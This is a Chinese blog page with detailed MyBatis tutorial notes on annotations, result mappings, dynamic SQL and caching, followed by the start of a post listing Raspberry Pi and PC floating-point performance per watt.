规范性更好在一个面向对象的系统中,系统的各种功能是由许许多多的不同对象协作完成的。在这种情况下,各个对象内部是如何实现自己的,对系统设计人员来讲就不那么重要了;而各个对象之间的协作关系则成为系统设计的关键。小到不同类之间的通信,大到各模块之间的交互,在系统设计之初都是要着重考虑的,这也是系统设计的主要工作内容。面向接口编程就是指按照这种思想来编程。关于接口的理解接口从更深层次的理解,应是定义(规范,约束)与实现(名实分离的原则)的分离。接口的本身反映了系统设计人员对系统的抽象理解。接口应有两类:第一类是对一个个体的抽象,它可对应为一个抽象体(abstract class);第二类是对一个个体某一方面的抽象,即形成一个抽象面(interface);一个体有可能有多个抽象面。抽象体与抽象面是有区别的。三个面向区别面向对象是指,我们考虑问题时,以对象为单位,考虑它的属性及方法 .面向过程是指,我们考虑问题时,以一个具体的流程(事务过程)为单位,考虑它的实现 .接口设计与非接口设计是针对复用技术而言的,与面向对象(过程)不是一个问题.更多的体现就是对系统整体的架构8.2 利用注解开发mybatis最初配置信息是基于 XML ,映射语句(SQL)也是定义在 XML 中的。而到MyBatis 3提供了新的基于注解的配置。不幸的是,Java 注解的的表达力和灵活性十分有限。最强大的 MyBatis 映射并不能用注解来构建sql 类型主要分成 :@select ()@update ()@Insert ()@delete ()注意:利用注解开发就不需要mapper.xml映射文件了 .1、我们在我们的接口中添加注解//查询全部用户 @Select("select id,name,pwd password from user") public List<User> getAllUser();2、在mybatis的核心配置文件中注入<!--使用class绑定接口--> <mappers> <mapper class="com.kuang.mapper.UserMapper"/> </mappers>3、我们去进行测试@Test public void testGetAllUser() { SqlSession session = MybatisUtils.getSession(); //本质上利用了jvm的动态代理机制 UserMapper mapper = session.getMapper(UserMapper.class); List<User> users = mapper.getAllUser(); for (User user : users){ System.out.println(user); } session.close(); }4、利用Debug查看本质5、本质上利用了jvm的动态代理机制6、Mybatis详细的执行流程8.3 注解增删改改造MybatisUtils工具类的getSession( ) 方法,重载实现。 //获取SqlSession连接 public static SqlSession getSession(){ return getSession(true); //事务自动提交 } public static SqlSession getSession(boolean flag){ return sqlSessionFactory.openSession(flag); }【注意】确保实体类和数据库字段对应查询:1、编写接口方法注解//根据id查询用户 @Select("select * from user where id = #{id}") User selectUserById(@Param("id") int id);2、测试@Test public void testSelectUserById() { SqlSession session = MybatisUtils.getSession(); UserMapper mapper = session.getMapper(UserMapper.class); User user = mapper.selectUserById(1); System.out.println(user); session.close(); }新增:1、编写接口方法注解//添加一个用户 @Insert("insert into user (id,name,pwd) values (#{id},#{name},#{pwd})") int addUser(User user);2、测试@Test public void testAddUser() { SqlSession session = MybatisUtils.getSession(); UserMapper mapper = session.getMapper(UserMapper.class); User user = new User(6, "秦疆", "123456"); mapper.addUser(user); session.close(); }修改:1、编写接口方法注解//修改一个用户 @Update("update user set name=#{name},pwd=#{pwd} where id = #{id}") int updateUser(User user);2、测试@Test public void testUpdateUser() { SqlSession session = MybatisUtils.getSession(); UserMapper mapper = session.getMapper(UserMapper.class); User user = new User(6, "秦疆", "zxcvbn"); mapper.updateUser(user); session.close(); }删除:1、编写接口方法注解//根据id删除用 @Delete("delete from user where id = #{id}") int deleteUser(@Param("id")int id);2、测试@Test public void testDeleteUser() { SqlSession session = MybatisUtils.getSession(); UserMapper mapper = session.getMapper(UserMapper.class); mapper.deleteUser(6); session.close(); }【注意点:增删改一定记得对事务的处理】8.4 关于@Param@Param注解用于给方法参数起一个名字。以下是总结的使用原则:在方法只接受一个参数的情况下,可以不使用@Param。在方法接受多个参数的情况下,建议一定要使用@Param注解给参数命名。如果参数是 JavaBean , 则不能使用@Param。不使用@Param注解时,参数只能有一个,并且是Javabean。8.5 #与$的区别\#{} 的作用主要是替换预编译语句(PrepareStatement)中的占位符? 【推荐使用】INSERT INTO user (name) VALUES (#{name}); INSERT INTO user (name) VALUES (?);${} 的作用是直接进行字符串替换INSERT INTO user (name) VALUES ('${name}'); INSERT INTO user (name) VALUES ('kuangshen');使用注解和配置文件协同开发,才是MyBatis的最佳实践!9.多对一处理多对一的理解:多个学生对应一个老师如果对于学生这边,就是一个多对一的现象,即从学生这边关联一个老师!9.1 数据库设计CREATE TABLE `teacher` ( `id` INT(10) NOT NULL, `name` VARCHAR(30) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=INNODB DEFAULT CHARSET=utf8 INSERT INTO teacher(`id`, `name`) VALUES (1, '秦老师'); CREATE TABLE `student` ( `id` INT(10) NOT NULL, `name` VARCHAR(30) DEFAULT NULL, `tid` INT(10) DEFAULT NULL, PRIMARY KEY (`id`), KEY `fktid` (`tid`), CONSTRAINT `fktid` FOREIGN KEY (`tid`) REFERENCES `teacher` (`id`) ) ENGINE=INNODB DEFAULT CHARSET=utf8 INSERT INTO `student` (`id`, `name`, `tid`) VALUES ('1', '小明', '1'); INSERT INTO `student` (`id`, `name`, `tid`) VALUES ('2', '小红', '1'); INSERT INTO `student` (`id`, `name`, `tid`) VALUES ('3', '小张', '1'); INSERT INTO `student` (`id`, `name`, `tid`) VALUES ('4', '小李', '1'); INSERT INTO `student` (`id`, `name`, `tid`) VALUES ('5', '小王', '1');9.2 搭建测试环境1、IDEA安装Lombok插件2、引入Maven依赖<!-- https://mvnrepository.com/artifact/org.projectlombok/lombok --> <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> <version>1.16.10</version> </dependency>3、在代码中增加注解@Data //GET,SET,ToString,有参,无参构造 public class Teacher { private int id; private String name; } @Data public class Student { private int id; private String name; //多个学生可以是同一个老师,即多对一 private Teacher teacher; }4、编写实体类对应的Mapper接口 【两个】无论有没有需求,都应该写上,以备后来之需!public interface StudentMapper { } public interface TeacherMapper { }5、编写Mapper接口对应的 mapper.xml配置文件 【两个】无论有没有需求,都应该写上,以备后来之需!<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="com.kuang.mapper.StudentMapper"> </mapper> <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="com.kuang.mapper.TeacherMapper"> </mapper>9.3 按查询嵌套处理1、给StudentMapper接口增加方法//获取所有学生及对应老师的信息 public List<Student> getStudents();2、编写对应的Mapper文件<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="com.kuang.mapper.StudentMapper"> <!-- 需求:获取所有学生及对应老师的信息 思路: 1. 获取所有学生的信息 2. 根据获取的学生信息的老师ID->获取该老师的信息 3. 思考问题,这样学生的结果集中应该包含老师,该如何处理呢,数据库中我们一般使用关联查询? 1. 做一个结果集映射:StudentTeacher 2. StudentTeacher结果集的类型为 Student 3. 学生中老师的属性为teacher,对应数据库中为tid。 多个 [1,...)学生关联一个老师=> 一对一,一对多 4. 查看官网找到:association – 一个复杂类型的关联;使用它来处理关联查询 --> <select id="getStudents" resultMap="StudentTeacher"> select * from student </select> <resultMap id="StudentTeacher" type="Student"> <!--association关联属性 property属性名 javaType属性类型 column在多的一方的表中的列名--> <association property="teacher" column="tid" javaType="Teacher" select="getTeacher"/> </resultMap> <!-- 这里传递过来的id,只有一个属性的时候,下面可以写任何值 association中column多参数配置: column="{key=value,key=value}" 其实就是键值对的形式,key是传给下个sql的取值名称,value是片段一中sql查询的字段名。 --> <select id="getTeacher" resultType="teacher"> select * from teacher where id = #{id} </select> </mapper>3、编写完毕去Mybatis配置文件中,注册Mapper!4、注意点说明:<resultMap id="StudentTeacher" type="Student"> <!--association关联属性 property属性名 javaType属性类型 column在多的一方的表中的列名--> <association property="teacher" column="{id=tid,name=tid}" javaType="Teacher" select="getTeacher"/> </resultMap> <!-- 这里传递过来的id,只有一个属性的时候,下面可以写任何值 association中column多参数配置: column="{key=value,key=value}" 其实就是键值对的形式,key是传给下个sql的取值名称,value是片段一中sql查询的字段名。 --> <select id="getTeacher" resultType="teacher"> select * from teacher where id = #{id} and name = #{name} </select>5、测试@Test public void testGetStudents(){ SqlSession session = MybatisUtils.getSession(); StudentMapper mapper = session.getMapper(StudentMapper.class); List<Student> students = mapper.getStudents(); for (Student student : students){ System.out.println( "学生名:"+ student.getName() +"\t老师:"+student.getTeacher().getName()); } }9.4 按结果嵌套处理除了上面这种方式,还有其他思路吗?我们还可以按照结果进行嵌套处理;1、接口方法编写public List<Student> getStudents2();2、编写对应的mapper文件<!-- 按查询结果嵌套处理 思路: 1. 直接查询出结果,进行结果集的映射 --> <select id="getStudents2" resultMap="StudentTeacher2" > select s.id sid, s.name sname , t.name tname from student s,teacher t where s.tid = t.id </select> <resultMap id="StudentTeacher2" type="Student"> <id property="id" column="sid"/> <result property="name" column="sname"/> <!--关联对象property 关联对象在Student实体类中的属性--> <association property="teacher" javaType="Teacher"> <result property="name" column="tname"/> </association> </resultMap>3、去mybatis-config文件中注入【此处应该处理过了】4、测试@Test public void testGetStudents2(){ SqlSession session = MybatisUtils.getSession(); StudentMapper mapper = session.getMapper(StudentMapper.class); List<Student> students = mapper.getStudents2(); for (Student student : students){ System.out.println( "学生名:"+ student.getName() +"\t老师:"+student.getTeacher().getName()); } }9.5 小结按照查询进行嵌套处理就像SQL中的子查询按照结果进行嵌套处理就像SQL中的联表查询10.一对多的处理一对多的理解:一个老师拥有多个学生如果对于老师这边,就是一个一对多的现象,即从一个老师下面拥有一群学生(集合)!10.1 实体类编写@Data public class Student { private int id; private String name; private int tid; } @Data public class Teacher { private int id; private String name; //一个老师多个学生 private List<Student> students; }..... 和之前一样,搭建测试的环境!10.2 按结果嵌套处理1、TeacherMapper接口编写方法//获取指定老师,及老师下的所有学生 public Teacher getTeacher(int id);2、编写接口对应的Mapper配置文件<mapper namespace="com.kuang.mapper.TeacherMapper"> <!-- 思路: 1. 从学生表和老师表中查出学生id,学生姓名,老师姓名 2. 对查询出来的操作做结果集映射 1. 集合的话,使用collection! JavaType和ofType都是用来指定对象类型的 JavaType是用来指定pojo中属性的类型 ofType指定的是映射到list集合属性中pojo的类型。 --> <select id="getTeacher" resultMap="TeacherStudent"> select s.id sid, s.name sname , t.name tname, t.id tid from student s,teacher t where s.tid = t.id and t.id=#{id} </select> <resultMap id="TeacherStudent" type="Teacher"> <result property="name" column="tname"/> <collection property="students" ofType="Student"> <result property="id" column="sid" /> <result property="name" column="sname" /> <result property="tid" column="tid" /> </collection> </resultMap> </mapper>3、将Mapper文件注册到MyBatis-config文件中<mappers> <mapper resource="mapper/TeacherMapper.xml"/> </mappers>4、测试@Test public void testGetTeacher(){ SqlSession session = MybatisUtils.getSession(); TeacherMapper mapper = session.getMapper(TeacherMapper.class); Teacher teacher = mapper.getTeacher(1); System.out.println(teacher.getName()); System.out.println(teacher.getStudents()); }10.3 按查询嵌套处理1、TeacherMapper接口编写方法public Teacher getTeacher2(int id);2、编写接口对应的Mapper配置文件<select id="getTeacher2" resultMap="TeacherStudent2"> select * from teacher where id = #{id} </select> <resultMap id="TeacherStudent2" type="Teacher"> <!--column是一对多的外键 , 写的是一的主键的列名--> <collection property="students" javaType="ArrayList" ofType="Student" column="id" select="getStudentByTeacherId"/> </resultMap> <select id="getStudentByTeacherId" resultType="Student"> select * from student where tid = #{id} </select>3、将Mapper文件注册到MyBatis-config文件中4、测试@Test public void testGetTeacher2(){ SqlSession session = MybatisUtils.getSession(); TeacherMapper mapper = session.getMapper(TeacherMapper.class); Teacher teacher = mapper.getTeacher2(1); System.out.println(teacher.getName()); System.out.println(teacher.getStudents()); }小结1、关联-association2、集合-collection3、所以association是用于一对一和多对一,而collection是用于一对多的关系4、JavaType和ofType都是用来指定对象类型的JavaType是用来指定pojo中属性的类型ofType指定的是映射到list集合属性中pojo的类型。注意说明:1、保证SQL的可读性,尽量通俗易懂2、根据实际要求,尽量编写性能更高的SQL语句3、注意属性名和字段不一致的问题4、注意一对多和多对一 中:字段和属性对应的问题5、尽量使用Log4j,通过日志来查看自己的错误11.动态SQL11.1 介绍什么是动态SQL:动态SQL指的是根据不同的查询条件 , 生成不同的Sql语句.官网描述: MyBatis 的强大特性之一便是它的动态 SQL。如果你有使用 JDBC 或其它类似框架的经验,你就能体会到根据不同条件拼接 SQL 语句的痛苦。例如拼接时要确保不能忘记添加必要的空格,还要注意去掉列表最后一个列名的逗号。利用动态 SQL 这一特性可以彻底摆脱这种痛苦。 虽然在以前使用动态 SQL 并非一件易事,但正是 MyBatis 提供了可以被用在任意 SQL 映射语句中的强大的动态 SQL 语言得以改进这种情形。 动态 SQL 元素和 JSTL 或基于类似 XML 的文本处理器相似。在 MyBatis 之前的版本中,有很多元素需要花时间了解。MyBatis 3 大大精简了元素种类,现在只需学习原来一半的元素便可。MyBatis 采用功能强大的基于 OGNL 的表达式来淘汰其它大部分元素。 ------------------------------- - if - choose (when, otherwise) - trim (where, set) - foreach -------------------------------我们之前写的 SQL 语句都比较简单,如果有比较复杂的业务,我们需要写复杂的 SQL 语句,往往需要拼接,而拼接 SQL ,稍微不注意,由于引号,空格等缺失可能都会导致错误。那么怎么去解决这个问题呢?这就要使用 mybatis 动态SQL,通过 if, choose, when, otherwise, trim, where, set, foreach等标签,可组合成非常灵活的SQL语句,从而在提高 SQL 语句的准确性的同时,也大大提高了开发人员的效率。11.2 搭建环境新建一个数据库表:blog字段:id,title,author,create_time,viewsCREATE TABLE `blog` ( `id` varchar(50) NOT NULL COMMENT '博客id', `title` varchar(100) NOT NULL COMMENT '博客标题', `author` varchar(30) NOT NULL COMMENT '博客作者', `create_time` datetime NOT NULL COMMENT '创建时间', `views` int(30) NOT NULL COMMENT '浏览量' ) ENGINE=InnoDB DEFAULT CHARSET=utf81、创建Mybatis基础工程2、IDutil工具类public class IDUtil { public static String genId(){ return UUID.randomUUID().toString().replaceAll("-",""); } }3、实体类编写 【注意set方法作用】import java.util.Date; public class Blog { private String id; private String title; private String author; private Date createTime; private int views; //set,get.... }4、编写Mapper接口及xml文件public interface BlogMapper { } <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="com.kuang.mapper.BlogMapper"> </mapper>5、mybatis核心配置文件,下划线驼峰自动转换<settings> <setting name="mapUnderscoreToCamelCase" value="true"/> <setting name="logImpl" value="STDOUT_LOGGING"/> </settings> <!--注册Mapper.xml--> <mappers> <mapper resource="mapper/BlogMapper.xml"/> </mappers>6、插入初始数据编写接口//新增一个博客 int addBlog(Blog blog);sql配置文件<insert id="addBlog" parameterType="blog"> insert into blog (id, title, author, create_time, views) values (#{id},#{title},#{author},#{createTime},#{views}); </insert>初始化博客方法@Test public void addInitBlog(){ SqlSession session = MybatisUtils.getSession(); BlogMapper mapper = session.getMapper(BlogMapper.class); Blog blog = new Blog(); blog.setId(IDUtil.genId()); blog.setTitle("Mybatis如此简单"); blog.setAuthor("狂神说"); blog.setCreateTime(new Date()); blog.setViews(9999); mapper.addBlog(blog); blog.setId(IDUtil.genId()); blog.setTitle("Java如此简单"); mapper.addBlog(blog); blog.setId(IDUtil.genId()); blog.setTitle("Spring如此简单"); mapper.addBlog(blog); blog.setId(IDUtil.genId()); blog.setTitle("微服务如此简单"); mapper.addBlog(blog); session.close(); }初始化数据完毕!11.3 if 语句需求:根据作者名字和博客名字来查询博客!如果作者名字为空,那么只根据博客名字查询,反之,则根据作者名来查询1、编写接口类//需求1 List<Blog> queryBlogIf(Map map);2、编写SQL语句<!--需求1: 根据作者名字和博客名字来查询博客! 如果作者名字为空,那么只根据博客名字查询,反之,则根据作者名来查询 select * from blog where title = #{title} and author = #{author} --> <select id="queryBlogIf" parameterType="map" resultType="blog"> select * from blog where <if test="title != null"> title = #{title} </if> <if test="author != null"> and author = #{author} </if> </select>3、测试@Test public void testQueryBlogIf(){ SqlSession session = MybatisUtils.getSession(); BlogMapper mapper = session.getMapper(BlogMapper.class); HashMap<String, String> map = new HashMap<String, String>(); map.put("title","Mybatis如此简单"); map.put("author","狂神说"); List<Blog> blogs = mapper.queryBlogIf(map); System.out.println(blogs); session.close(); }这样写我们可以看到,如果 author 等于 null,那么查询语句为 select from user where title=#{title},但是如果title为空呢?那么查询语句为 select from user where and author=#{author},这是错误的 SQL 语句,如何解决呢?请看下面的 where 语句!11.4 Where修改上面的SQL语句;<select id="queryBlogIf" parameterType="map" resultType="blog"> select * from blog <where> <if test="title != null"> title = #{title} </if> <if test="author != null"> and author = #{author} </if> </where> </select>这个“where”标签会知道如果它包含的标签中有返回值的话,它就插入一个‘where’。此外,如果标签返回的内容是以AND 或OR 开头的,则它会剔除掉。11.5 Set同理,上面的对于查询 SQL 语句包含 where 关键字,如果在进行更新操作的时候,含有 set 关键词,我们怎么处理呢?1、编写接口方法int updateBlog(Map map);2、sql配置文件<!--注意set是用的逗号隔开--> <update id="updateBlog" parameterType="map"> update blog <set> <if test="title != null"> title = #{title}, </if> <if test="author != null"> author = #{author} </if> </set> where id = #{id}; </update>3、测试@Test public void testUpdateBlog(){ SqlSession session = MybatisUtils.getSession(); BlogMapper mapper = session.getMapper(BlogMapper.class); HashMap<String, String> map = new HashMap<String, String>(); map.put("title","动态SQL"); map.put("author","秦疆"); map.put("id","9d6a763f5e1347cebda43e2a32687a77"); mapper.updateBlog(map); session.close(); }11.6 choose语句有时候,我们不想用到所有的查询条件,只想选择其中的一个,查询条件有一个满足即可,使用 choose 标签可以解决此类问题,类似于 Java 的 switch 语句1、编写接口方法List<Blog> queryBlogChoose(Map map);2、sql配置文件<select id="queryBlogChoose" parameterType="map" resultType="blog"> select * from blog <where> <choose> <when test="title != null"> title = #{title} </when> <when test="author != null"> and author = #{author} </when> <otherwise> and views = #{views} </otherwise> </choose> </where> </select>3、测试类@Test public void testQueryBlogChoose(){ SqlSession session = MybatisUtils.getSession(); BlogMapper mapper = session.getMapper(BlogMapper.class); HashMap<String, Object> map = new HashMap<String, Object>(); map.put("title","Java如此简单"); map.put("author","狂神说"); map.put("views",9999); List<Blog> blogs = mapper.queryBlogChoose(map); System.out.println(blogs); session.close(); }11.7 SQL片段有时候可能某个 sql 语句我们用的特别多,为了增加代码的重用性,简化代码,我们需要将这些代码抽取出来,然后使用时直接调用。提取SQL片段:<sql id="if-title-author"> <if test="title != null"> title = #{title} </if> <if test="author != null"> and author = #{author} </if> </sql>引用SQL片段:<select id="queryBlogIf" parameterType="map" resultType="blog"> select * from blog <where> <!-- 引用 sql 片段,如果refid 指定的不在本文件中,那么需要在前面加上 namespace --> <include refid="if-title-author"></include> <!-- 在这里还可以引用其他的 sql 片段 --> </where> </select>注意:①、最好基于 单表来定义 sql 片段,提高片段的可重用性②、在 sql 片段中不要包括 where11.8 Foreach将数据库中前三个数据的id修改为1,2,3;需求:我们需要查询 blog 表中 id 分别为1,2,3的博客信息1、编写接口List<Blog> queryBlogForeach(Map map);2、编写SQL语句<select id="queryBlogForeach" parameterType="map" resultType="blog"> select * from blog <where> <!-- collection:指定输入对象中的集合属性 item:每次遍历生成的对象 open:开始遍历时的拼接字符串 close:结束时拼接的字符串 separator:遍历对象之间需要拼接的字符串 select * from blog where 1=1 and (id=1 or id=2 or id=3) --> <foreach collection="ids" item="id" open="and (" close=")" separator="or"> id=#{id} </foreach> </where> </select>3、测试@Test public void testQueryBlogForeach(){ SqlSession session = MybatisUtils.getSession(); BlogMapper mapper = session.getMapper(BlogMapper.class); HashMap map = new HashMap(); List<Integer> ids = new ArrayList<Integer>(); ids.add(1); ids.add(2); ids.add(3); map.put("ids",ids); List<Blog> blogs = mapper.queryBlogForeach(map); System.out.println(blogs); session.close(); }小结:其实动态 sql 语句的编写往往就是一个拼接的问题,为了保证拼接准确,我们最好首先要写原生的 sql 语句出来,然后在通过 mybatis 动态sql 对照着改,防止出错。多在实践中使用才是熟练掌握它的技巧。12.缓存12.1 简介1、什么是缓存 [ Cache ]?存在内存中的临时数据。将用户经常查询的数据放在缓存(内存)中,用户去查询数据就不用从磁盘上(关系型数据库数据文件)查询,从缓存中查询,从而提高查询效率,解决了高并发系统的性能问题。2、为什么使用缓存?减少和数据库的交互次数,减少系统开销,提高系统效率。3、什么样的数据能使用缓存?经常查询并且不经常改变的数据。12.2 Mybatis缓存MyBatis包含一个非常强大的查询缓存特性,它可以非常方便地定制和配置缓存。缓存可以极大的提升查询效率。MyBatis系统中默认定义了两级缓存:一级缓存和二级缓存默认情况下,只有一级缓存开启。(SqlSession级别的缓存,也称为本地缓存)二级缓存需要手动开启和配置,他是基于namespace级别的缓存。为了提高扩展性,MyBatis定义了缓存接口Cache。我们可以通过实现Cache接口来自定义二级缓存12.3 一级缓存一级缓存也叫本地缓存:与数据库同一次会话期间查询到的数据会放在本地缓存中。以后如果需要获取相同的数据,直接从缓存中拿,没必须再去查询数据库;12.3.1 测试1、在mybatis中加入日志,方便测试结果2、编写接口方法//根据id查询用户 User queryUserById(@Param("id") int id);3、接口对应的Mapper文件<select id="queryUserById" resultType="user"> select * from user where id = #{id} </select>4、测试@Test public void testQueryUserById(){ SqlSession session = MybatisUtils.getSession(); UserMapper mapper = session.getMapper(UserMapper.class); User user = mapper.queryUserById(1); System.out.println(user); User user2 = mapper.queryUserById(1); System.out.println(user2); System.out.println(user==user2); session.close(); }5、结果分析12.3.2一级缓存失效的四种情况一级缓存是SqlSession级别的缓存,是一直开启的,我们关闭不了它;一级缓存失效情况:没有使用到当前的一级缓存,效果就是,还需要再向数据库中发起一次查询请求!1、sqlSession不同@Test public void testQueryUserById(){ SqlSession session = MybatisUtils.getSession(); SqlSession session2 = MybatisUtils.getSession(); UserMapper mapper = session.getMapper(UserMapper.class); UserMapper mapper2 = session2.getMapper(UserMapper.class); User user = mapper.queryUserById(1); System.out.println(user); User user2 = mapper2.queryUserById(1); System.out.println(user2); System.out.println(user==user2); session.close(); session2.close(); }观察结果:发现发送了两条SQL语句!结论:每个sqlSession中的缓存相互独立2、sqlSession相同,查询条件不同@Test public void testQueryUserById(){ SqlSession session = MybatisUtils.getSession(); UserMapper mapper = session.getMapper(UserMapper.class); UserMapper mapper2 = session.getMapper(UserMapper.class); User user = mapper.queryUserById(1); System.out.println(user); User user2 = mapper2.queryUserById(2); System.out.println(user2); System.out.println(user==user2); session.close(); }观察结果:发现发送了两条SQL语句!很正常的理解结论:当前缓存中,不存在这个数据3、sqlSession相同,两次查询之间执行了增删改操作!增加方法//修改用户 int updateUser(Map map);编写SQL<update id="updateUser" parameterType="map"> update user set name = #{name} where id = #{id} </update>测试@Test public void testQueryUserById(){ SqlSession session = MybatisUtils.getSession(); UserMapper mapper = session.getMapper(UserMapper.class); User user = mapper.queryUserById(1); System.out.println(user); HashMap map = new HashMap(); map.put("name","kuangshen"); map.put("id",4); mapper.updateUser(map); User user2 = mapper.queryUserById(1); System.out.println(user2); System.out.println(user==user2); session.close(); }观察结果:查询在中间执行了增删改操作后,重新执行了结论:因为增删改操作可能会对当前数据产生影响4、sqlSession相同,手动清除一级缓存@Test public void testQueryUserById(){ SqlSession session = MybatisUtils.getSession(); UserMapper mapper = session.getMapper(UserMapper.class); User user = mapper.queryUserById(1); System.out.println(user); session.clearCache();//手动清除缓存 User user2 = mapper.queryUserById(1); System.out.println(user2); System.out.println(user==user2); session.close(); }一级缓存就是一个map12.4 二级缓存二级缓存也叫全局缓存,一级缓存作用域太低了,所以诞生了二级缓存基于namespace级别的缓存,一个名称空间,对应一个二级缓存;工作机制一个会话查询一条数据,这个数据就会被放在当前会话的一级缓存中;如果当前会话关闭了,这个会话对应的一级缓存就没了;但是我们想要的是,会话关闭了,一级缓存中的数据被保存到二级缓存中;新的会话查询信息,就可以从二级缓存中获取内容;不同的mapper查出的数据会放在自己对应的缓存(map)中;12.4.1 使用步骤1、开启全局缓存 【mybatis-config.xml】<setting name="cacheEnabled" value="true"/>2、去每个mapper.xml中配置使用二级缓存,这个配置非常简单;【xxxMapper.xml】<cache/> 官方示例=====>查看官方文档 <cache eviction="FIFO" flushInterval="60000" size="512" readOnly="true"/> 这个更高级的配置创建了一个 FIFO 缓存,每隔 60 秒刷新,最多可以存储结果对象或列表的 512 个引用,而且返回的对象被认为是只读的,因此对它们进行修改可能会在不同线程中的调用者产生冲突。3、代码测试所有的实体类先实现序列化接口测试代码@Test public void testQueryUserById(){ SqlSession session = MybatisUtils.getSession(); SqlSession session2 = MybatisUtils.getSession(); UserMapper mapper = session.getMapper(UserMapper.class); UserMapper mapper2 = session2.getMapper(UserMapper.class); User user = mapper.queryUserById(1); System.out.println(user); session.close(); User user2 = mapper2.queryUserById(1); System.out.println(user2); System.out.println(user==user2); session2.close(); }12.4.2 结论只要开启了二级缓存,我们在同一个Mapper中的查询,可以在二级缓存中拿到数据查出的数据都会被默认先放在一级缓存中只有会话提交或者关闭以后,一级缓存中的数据才会转到二级缓存中12.5 缓存原理图12.6 第三方缓存-EhCache第三方缓存实现--EhCache: 查看百度百科Ehcache是一种广泛使用的java分布式缓存,用于通用缓存;要在应用程序中使用Ehcache,需要引入依赖的jar包<!-- https://mvnrepository.com/artifact/org.mybatis.caches/mybatis-ehcache --> <dependency> <groupId>org.mybatis.caches</groupId> <artifactId>mybatis-ehcache</artifactId> <version>1.1.0</version> </dependency>在mapper.xml中使用对应的缓存即可<mapper namespace = “org.acme.FooMapper” > <cache type = “org.mybatis.caches.ehcache.EhcacheCache” /> </mapper>编写ehcache.xml文件,如果在加载时未找到/ehcache.xml资源或出现问题,则将使用默认配置。<?xml version="1.0" encoding="UTF-8"?> <ehcache xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://ehcache.org/ehcache.xsd" updateCheck="false"> <!-- diskStore:为缓存路径,ehcache分为内存和磁盘两级,此属性定义磁盘的缓存位置。参数解释如下: user.home – 用户主目录 user.dir – 用户当前工作目录 java.io.tmpdir – 默认临时文件路径 --> <diskStore path="./tmpdir/Tmp_EhCache"/> <defaultCache eternal="false" maxElementsInMemory="10000" overflowToDisk="false" diskPersistent="false" timeToIdleSeconds="1800" timeToLiveSeconds="259200" memoryStoreEvictionPolicy="LRU"/> <cache name="cloud_user" eternal="false" maxElementsInMemory="5000" overflowToDisk="false" diskPersistent="false" timeToIdleSeconds="1800" timeToLiveSeconds="1800" memoryStoreEvictionPolicy="LRU"/> <!-- defaultCache:默认缓存策略,当ehcache找不到定义的缓存时,则使用这个缓存策略。只能定义一个。 --> <!-- name:缓存名称。 maxElementsInMemory:缓存最大数目 maxElementsOnDisk:硬盘最大缓存个数。 eternal:对象是否永久有效,一但设置了,timeout将不起作用。 overflowToDisk:是否保存到磁盘,当系统当机时 timeToIdleSeconds:设置对象在失效前的允许闲置时间(单位:秒)。仅当eternal=false对象不是永久有效时使用,可选属性,默认值是0,也就是可闲置时间无穷大。 timeToLiveSeconds:设置对象在失效前允许存活时间(单位:秒)。最大时间介于创建时间和失效时间之间。仅当eternal=false对象不是永久有效时使用,默认是0.,也就是对象存活时间无穷大。 diskPersistent:是否缓存虚拟机重启期数据 Whether the disk store persists between restarts of the Virtual Machine. The default value is false. diskSpoolBufferSizeMB:这个参数设置DiskStore(磁盘缓存)的缓存区大小。默认是30MB。每个Cache都应该有自己的一个缓冲区。 diskExpiryThreadIntervalSeconds:磁盘失效线程运行时间间隔,默认是120秒。 memoryStoreEvictionPolicy:当达到maxElementsInMemory限制时,Ehcache将会根据指定的策略去清理内存。默认策略是LRU(最近最少使用)。你可以设置为FIFO(先进先出)或是LFU(较少使用)。 clearOnFlush:内存数量最大时是否清除。 memoryStoreEvictionPolicy:可选策略有:LRU(最近最少使用,默认策略)、FIFO(先进先出)、LFU(最少访问次数)。 FIFO,first in first out,这个是大家最熟的,先进先出。 LFU, Less Frequently Used,就是上面例子中使用的策略,直白一点就是讲一直以来最少被使用的。如上面所讲,缓存的元素有一个hit属性,hit值最小的将会被清出缓存。 LRU,Least Recently Used,最近最少使用的,缓存的元素有一个时间戳,当缓存容量满了,而又需要腾出地方来缓存新的元素的时候,那么现有缓存元素中时间戳离当前时间最远的元素将被清出缓存。 --> </ehcache>合理的使用缓存,可以让我们程序的性能大大提升!参考资料1.狂神说Java-Mybatis最新完整教程IDEA版通俗易懂
2022年03月06日
546 阅读
0 评论
0 点赞
2021-12-15
树莓派以及一些常见的硬件设备的浮点计算能力FLOPS
1.The GFLOPS/W of the various machines in the VMW Research Group#NameGFLOPS/WGFLOPSAverage PowerMax PowerIdle PowerarchvendortypeCores/ThreadsRAMOtherLinpack Settings1haswell-ep2.13 GFLOPS/W428 GFLOPS201 W298 W58.7 Wx86_64Intel 6/63/2hsw e5-2640v316 (32)80GB (N=80000, 16 threads, OpenBLAS)5Raspberry Pi-4B (4GB) 64-bit kernel/userspace2.02 GFLOPS/W13.5 GFLOPS6.66W7.30W2.56Waarch64ARMv8Cortex A7244GB (N=20000, 4 threads, OpenBLAS)3haswell/quadro (cpu only)1.68 GFLOPS/W181 GFLOPS107.9 W134.1 W29.3 Wx86_64Intel 6/60/3hsw i7-47904 (8)16GBQuadro K2200(N=40000, 4 threads, OpenBLAS)4broadwell macbookair1.64 GFLOPS/W47.7 GFLOPS29.1 W32.6 W10.0 Wx86_64Intel 6/61/4bdw i5-5250U2 (4)4GBmacbook-air(N=20000, 2 threads, OpenBLAS)5haswell desktop1.56 GFLOPS/W145 GFLOPS92.7 W126.6 W22.3 Wx86_64Intel 6/60/3hsw i7-47704 (8)4GB (N=20000, 4 threads, OpenBLAS)6Raspberry Pi-4B (1GB)1.50 GFLOPS/W9.92 